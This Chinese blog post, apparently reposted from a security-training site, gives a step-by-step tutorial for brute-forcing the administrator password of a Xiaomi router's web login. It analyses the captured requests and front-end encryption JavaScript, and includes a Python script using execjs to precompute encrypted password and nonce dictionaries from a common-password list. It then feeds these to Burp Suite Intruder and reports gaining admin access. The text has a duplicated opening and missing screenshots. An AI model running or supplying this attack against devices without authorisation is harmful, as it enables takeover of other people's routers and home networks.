其他分享
首页 > 其他分享> > 小米路由器管理员密码爆破

小米路由器管理员密码爆破

作者:互联网

作者:Jerrytqq

本文来源:http://33h.co/w8f8i  

目的

路由器管理员密码未知,根据已有字典爆破出管理员密码。

工具:burpsuite

脚本语言:python3.7+

 

1. 抓包分析

输入小米路由器管理员界面地址192.168.31.1

i

目的

路由器管理员密码未知,根据已有字典爆破出管理员密码。

工具:burpsuite

脚本语言:python3.7+

 

1. 抓包分析

输入小米路由器管理员界面地址192.168.31.1

 

 

 

 

 

 

 

 

 

可以发现即使2次输入相同的密码123,向服务器发送的password和nonce字段也是不一样的。

由此可以判断所输入的密码经过了加密,且存在随机数。不能直接通过字典来爆破,需要将字典加密,并附带一个随机数nonce。

 

2. 源码读取

读取前端源码

f12选取页面中的元素,查看按钮id:btnRtSubmit

 

 

 

 


在调试器的web文件中查找按钮btnRtSubmit调用的方法

 

 


发现方法为loginHandle

查看loginHandle源码

 

 

 


发现密码经过了Encrypt方法加密

查看Encrpty.oldPwd方法源代码

 

 


发现oldPwd方法调用了目录中aes.js和sha1.js两个源文件

 

3. 编写脚本代码


所以计划通过python脚本调用js,将字典中数据加密,返回值为password和nonce。
JS代码(Encrypt.js)做了如下修改:


1.修改function loginHandle()

 

 

 

 


传入值为前端文本框输入的值,输出值为经过oldPwd函数输出的值(抓包中的password值)和Encrypt方法初始化时生成的nonce(抓包中的nonce值)

2.将oldPwd所用到的Encrypt方法和CryptoJS方法写在同一个js文件中,代码截图如下

 

 

 

 

 


Python脚本如下

import urllib

import execjs  # 导入PyExecJS 库


def get_js():  # 导入js文件
   f = open("Encrypt.js", 'r', encoding='UTF-8')
   line = f.readline()
   htmlstr = ''
   while line:
       htmlstr = htmlstr + line
       line = f.readline()
   return htmlstr


jsstr = get_js()
ctx = execjs.compile(jsstr)


def creative_book():  # 创建密文密码字典
   f = open("top100PWD.txt")
   for line in f:
       r = line.strip('\n')
       utf = ctx.call('loginHandle', r)
       h = open('adobe_top100_pass_creative.txt', 'a')
       h1 = open('adobe_top100_pass_creative_random.txt', 'a')
       h.write("\n" + utf[0])
       h1.write("\n" + urllib.parse.quote(utf[1]))
       print(utf[0], urllib.parse.quote(utf[1]))
       h.close()
       h1.close()
   f.close()


creative_book()

生成2个字典adobe_top100_pass_creative.txt和adobe_top100_pass_creative_random.txt
分别存放password和nonce。
截图如下

 

 

 

 

 

4. 爆破

以上步骤完成后,生成所需字典完毕,开始使用burpsuite攻击

将所抓的包发送至Intruder

选择Pitchfork,需要爆破的字段为password和nonce。

 

 


在Payloads中加载2个字典

 

 

 

 

点击Start attack开始攻击

攻击完成后点击length长度排序,发现异常长度


查看该请求包的回应包

 


code字段为0,分发了token,表明密码正确。

释放修改password和nonce字段为Payload1和Payload2,释放数据包。


成功取得管理员权限!

源代码

https://github.com/h2so0o4/Admin_Intruder

参考资料

https://blog.csdn.net/x1t02m/article/details/81949572
https://t0data.gitbooks.io/burpsuite/content/chapter8.html 作者:掌控安全学院 https://www.bilibili.com/read/cv12644500 出处:bilibili

标签:nonce,password,js,密码,管理员,路由器,小米,字典
来源: https://www.cnblogs.com/chang09/p/16196834.html